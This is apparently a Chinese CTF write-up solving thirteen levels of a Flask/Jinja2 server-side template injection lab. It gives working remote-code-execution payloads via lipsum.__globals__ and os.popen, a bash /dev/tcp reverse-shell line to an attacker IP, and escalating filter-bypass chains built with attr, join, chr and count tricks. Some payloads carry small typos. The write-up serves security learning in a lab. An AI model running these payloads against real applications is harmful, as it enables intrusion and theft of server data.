靶场搭建:
docker pull jerem1ah/python_sstilabs
端口7777:5000
大家直接参考大佬做的这个镜像,懂我意思吧然后run就可以了
docker run -d -p 外部端口:内部端口 <镜像名>
我这里就偷懒用nssctf的了,他们的环境问题比较少。
一 原理
我们还是简单说一下原理,对于模板来说,简单来说,模板就是 "页面骨架",开发者先写好固定的 HTML 结构、文字等静态部分,再用模板语法标记出需要动态填充的位置(比如用户昵称、文章列表),模板引擎会在运行时把这些占位符替换成真实数据,输出完整页面。
举个例子
<html>
<body>
<h1>Hello {{ username }}</h1> <!-- {{ username }} 是动态占位符 -->
</body>
</html>
这是一个jinja2的例子
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/hello")
def hello():
# 1. 获取用户传入的username参数,值为{{7*7}}
user_input = request.args.get("username")
# 2. 将用户输入直接拼接到模板字符串中(形成新的模板)
template_str = f"Hello {user_input}" # 拼接后模板字符串为:"Hello {{7*7}}"
# 3. 模板引擎解析并渲染这个拼接后的模板
return render_template_string(template_str)
说白了模板引擎会加载特定格式比如花括号包裹并将特定格式的payload当做后端语言执行。那么对于这种有回显的ssti我们要做的是什么呢,核心是利用模板引擎的语法特性,结合语言自身的特性(如 Python 魔术方法)构造攻击链。所以我们跟着思路来,在ctf中flag一般是环境变量,比如需要我们执行system('tac /flag')来获取flag或者是某个目录下的flag.txt那么我们不就是需要一个入口来执行tac /flag这个指令吗,或者你知道flag在哪个地方,比如古*山2025的ssti,直接{{config}}就有了,可以看到这个地方username是一个变量,同时它也可以是user.username也就是对象的一个属性。而对象是类的具象化,也就是说我们首先要知道他是什么类对吧,用什么呢instanceof?当然不是,python中使用__class__来查看当前对象的类,那么找到它属于哪一类我们是不是想知道这个类里面有没有某个方法使得可以进行rce?比如exec,eval啥的或者subprocess.Popen(执行命令)、builtins.open(读写文件)、os.praopen(执行命令)等。然后用__mro__ 获取类的继承链。然后去找到祖宗类一个叫object的家伙。然后随着亲子树向下找。嗯差不多就这个思路
二 开始做题
level1
class 类的一个内置属性,表示实例对象的类。 base 类型对象的直接基类 bases 类型对象的全部基类,以元组形式,类型的实例通常没有属性 bases mro 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
init 初始化类,返回的类型是function
globals 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
builtins 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
我们先明确几个重要的东西
那就来吧,手工打{{''.class.bases}}

说明 ->''字符串直接继承object类现在相当于说我们来到了object来到了所有的父类这里,那就看他的子类{{''.class.base.subclasses()}}

Hello [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, typing._TypingBase, typing.Generic, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, typing.Protocol, typing.Generic[+T_co], typing.Generic[+T_co, -T_contra, +V_co], typing.Protocol[+T_co], typing.Generic[~KT, +VT_co], typing.Generic[+T_co, -T_contra], typing.Generic[+CT_co], <class 'typing.NamedTuple'>, typing.Generic[~AnyStr], <class 'typing.io'>, <class 'typing.re'>, <class '_ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_socket.socket'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'Struct'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'textwrap.TextWrapper'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, typing.Generic[~_TAccessorValue], <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, typing.Generic[~_T], <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'uuid.UUID'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.local.ContextVar'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>, <class '__future__._Feature'>]
我们来四四看看os这个类,看看是第几个
def find_classes_with_keyword(classes_list, keyword):
matches = []
for index, class_str in enumerate(classes_list):
if keyword.lower() in class_str.lower():
class_name = class_str.split("'")[1] if "'" in class_str else class_str
matches.append((index, class_name))
return matches
if __name__ == "__main__":
# 读取文件名为1.txt的文件内容并转换为列表
with open("D:\Desktop\code\\1.txt", "r") as file:
classes_str = file.read()
classes_list = [item.strip() for item in classes_str[1:-1].split(',')]
keyword = input("请输入要搜索的关键词: ").strip()
results = find_classes_with_keyword(classes_list, keyword)
if results:
print(f"找到 {len(results)} 个包含 '{keyword}' 的类:")
for idx, (position, class_name) in enumerate(results, 1):
print(f"{idx}. 位置: {position}, 类名: {class_name}")
else:
print(f"没有找到包含 '{keyword}' 的类")
来一个大佬的神秘小代码。
后面直接调用os.popen('ls').read()
也可以{{lipsum.globals.os.popen('ls').read()}}
直接来使用lipsum,这个是flask的一个全局函数

level2
{%%}可以当作{{}}来用
{{}}和{%%}的区别是什么呢,前者是打印标记后者是指令标记
{``{ }}:变量 / 表达式输出标记 (又称「打印标记」)- 设计用途:用于执行单个表达式,并将表达式的返回结果直接渲染 / 输出到页面中。
- 示例:
{``{ 1+1 }}会执行加法运算,页面输出2;{``{ user.name }}会读取上下文变量user的name属性并输出。
{% %}:控制结构 / 语句块标记 (又称「指令标记」)- 设计用途:用于编写模板的控制流逻辑,比如
for循环、if判断、set定义变量、include导入模板等,本身默认不直接输出执行结果。 - 示例:
{% for item in list %}{``{ item }}{% endfor %}用于遍历列表,{% if flag %}用于条件判断
- 设计用途:用于编写模板的控制流逻辑,比如

payload:{%print(lipsum.globals.os.popen('ls').read())%}

level3
这关要反弹shell啊,无回显,平时这种无回显包括xss都要注意一下可以用超时来判断,打个五秒左右的冻点。payload:{{lipsum.globals.os.popen('bash -i >& /dev/tcp/攻击机ip/攻击机端口 0>&1').read()}}我这里是没有成功,不知道是不是容器的问题,我试了下用自己的物理机直接反弹shell到有公网ip的云服务器发现是可以的,然后试着用云服务器作为攻击机来这里反弹shell发现还是不行,也有可能是连接比较脆弱,超时,当然我个人更倾向于是不出网容器(懒得DNSlog)。但是思路是没有问题的。那么我们试试静态写入。
Flask 框架默认约定了静态文件的存放目录为 static (与应用主程序文件同级,或与 templates 目录同级),该目录用于存放 CSS、JavaScript、图片、字体等静态资源文件。
先{{lipsum.global.os.popen('echo `cat app/flag` > app/static/1.txt'').read()}}

level4
这道题过滤的中括号[]
有没有可能我们的{{lipsum.globals.os.popen('cat app/flag').read()}}没有中括号emmmmmm,
好吧就这样。

level5
这一关过滤的引号
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
那我们就先get一个参数f

参数是code大家f12直接就能看到

level6
过滤下划线我们依旧request还可以用attr(): 获取对象的属性。语法: Jinja2 中的attr()过滤器,功能是通过「字符串形式的属性名」,访问对象的对应属性 / 方法 ,语法:obj|attr('attribute_name')那就来
?a=globals
{{(lipsum|attr(request.args.a)).os.popen('cat app/flag').read()}}

还有大佬用的hex编码绕过{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}
level7
好家伙直接把'.'给ban掉了,那我们就用[]调用属性吧。Python 支持使用 [] 访问对象的属性 / 方法,语法为 obj[attribute_name],它与「点号访问 obj.attribute_name」功能等价 ,本质都是访问对象的 __dict__ 属性(对象的属性存储字典)或通过 __getitem__() 方法实现
{{lipsum['globals']['os']['popen']('cat app/flag')['read']()}}

level8
这一关过滤了关键字
|-----------------------------------------------------------------------------------------------------------|---|
| bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"] | |
试了下大小写绕过,貌似不行。那字符串拼接呢?{{lipsum['glo'+'bals']['os']['po'+'pen']('cat app/flag')['read']()}}

那编码绕过也是可以的hex然后unicode。这里不多赘述
level9
过滤了0-9但是我没有数字啊。

level10
让我们get config。直接{{config}}回了个none。应该是过滤了,四四前面的拼接和大小写都不行。
使用内置函数来调用current_app可以输出当前的app即flask
构造payload
{``{url_for.__globals__['current_app'].config}}这里介绍一下url_for
url_for 是 Flask 框架中用于生成 URL 的内置函数,但在模板注入攻击中常被利用来访问敏感数据
就可以获取config配置文件了
引用一下大佬讲的吧。

level 11
我们先来补充一点
获取键值和下标
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__') list[0] list.__getitem__(0) list.pop(0)
获取属性
().class ()["class"]
()|attr("class")
().getattribute("class")
'\'', '"', '+', 'request', '.', '[', ']'过滤了这些东西,实战肯定要自己去测的。
.也过滤了,[]也过滤了,暂时想不到怎么访问属性。难道是->。好吧不是php,+不让用,我们想一下还是拼接字符串吗看看原始payload:{{lipsum.globals.os.popen('cat app/flag').read()}},但是我们有个好消息是没有ban掉数字和字母,想一想有没有什么内置方法可以直接拼接。
join() 是字符串(str)的内置方法 ,核心作用是:将一个可迭代对象(如列表、元组、字符串、生成器等)中的所有元素拼接成一个新的字符串。
tips:可迭代对象中的元素必须是字符串类型 ,否则会抛出 TypeError 异常。
基本用法:分隔符字符串.join(可迭代对象)
分隔符字符串:拼接后用于分隔可迭代对象元素的字符串(可以是空字符串 "")
可迭代对象:待拼接的元素集合(列表、元组等,元素需为字符串)
{%set a=dict(cl=1,ass =1)|join%}{{a}}比如这个join把"|"之前的键值对的键拼接起来了所以a就是class。obj|attr('attribute_name') 还记得这个吗,用这个attr来获取属性。
{% set a = dict(cl=1,ass=1)|join%}{{''|attr(a)}}所以这样构造就相当于{{"".class}}
那我们再回到原来的式子{{lipsum.globals.os.popen('cmd').read()}}
那我们就挨着挨着来呗。
a.构造__globals__
{%set a=dict(glo=1,bals=1)|join%}//得到a=globals
b.构造os
{%set b=dict(o=1,s=1)|join%}//得到b=os
c.构造popen
{%set c=dict(po=1,pen=1)|join%}//得到c=popen
cmd.构造ls(因为键名里面不可以包含空格,一般是数字,字母,下划线,空格是属于非法标识符)
{%set c=dict(l=1,s=1)|join%}//得到cmd=ls
d.构造read
{%set d=dict(re=1,ad=1)|join%}//得到d=read
e.构造__getitem__
{%set e=dict(get=1,item=1)|join%}//得到e=getitem
为什么要用getitem因为[]和.都被ban了而我们要得到.os但是呢lipsum.__globals__ 是字典,字典没有 os 这个属性 ,只有 os 这个键
简单说:obj['key'] = obj.__getitem__('key'),而 obj.__getitem__ 又能写成 obj|attr('__getitem__') 这就彻底避开了 . 和 []。
最后就可以得到
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
{%set a=dict(glo=1,bals=1)|join%}
{%set b=dict(o=1,s=1)|join%}
{%set c=dict(po=1,pen=1)|join%}
{%set cmd=dict(l=1,s=1)|join%}
{%set d=dict(re=1,ad=1)|join%}
{%set e=dict(ge=1,titem=1)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

但是键名里面不可以包含空格,一般是数字,字母,下划线,空格是属于非法标识符
这里突然想到之前打rcelab的时候有一关是取了结果的nan然后进行基本运算得到后面的其他字母,相当于是一个已知结果取字符。这里看了下大佬的文章。
但是如果我们想直接cat flag是不行的
键名里面不可以包含空格,一般是数字,字母,下划线,空格是属于非法标识符
这里就还需要绕过一下空格
还要介绍两个东西
string()过滤器,强行变成字符
list过滤器将字符拆分成列表
这里直接把lipsum强行转换成字符串,这个返回的是这个函数的内存地址
或者
取
['__builtins__']['chr']函数 右ascii表 转换为字符原payload:
{``{lipsum.__globals__['__builtins__']['chr']}}
ssti_lab/flask - crook666 - 博客园
CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记 | J1rrY's Blog
把两位大佬的文章附上。
只需要在原来的基础上加点点
f.构造__builtins__ {%set f=dict(buil=a,tins=a)|join%}
ch.构造 chr 字符 {%set ch=dict(ch=a,r=a)|join%}
直接引用了这儿。
code={%set a=dict(glo=a,bals=a)|join%} {%set b=dict(o=a,s=a)|join%} {%set c=dict(po=a,pen=a)|join%} {%set d=dict(re=a,ad=a)|join%} {%set e=dict(ge=a,titem=a)|join%} {%set f=dict(buil=a,tins=a)|join%} {%set ch=dict(ch=a,r=a)|join%} {%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%} {%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%} {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

level12
这一关ban了数字,直接length取。下划线可以参考上面放的第一篇文章取字符的处理方式。
{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%} {%set p=dict(po=a,p=a)|join%} {{()|select|string|list|attr(p)(numa)}}
取下划线。
payload:
{%set na=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%} {%set p=dict(po=a,p=a)|join%} {%set xhx=()|select|string|list|attr(p)(na)%} {%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%} {%set b=dict(o=a,s=a)|join%} {%set c=dict(po=a,pen=a)|join%} {%set d=dict(re=a,ad=a)|join%} {%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%} {%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%} {%set ch=dict(ch=a,r=a)|join%} {%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%} {%set nb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set nc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set cmd=(dict(ca=a,t=a)|join,chh(nb),chh(nc),dict(ap=a,p=a)|join,chh(nc),dict(fl=a,ag=a)|join)|join%} {{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

level13
在上一关的基础上多过滤了关键字直接用上一贯的payload
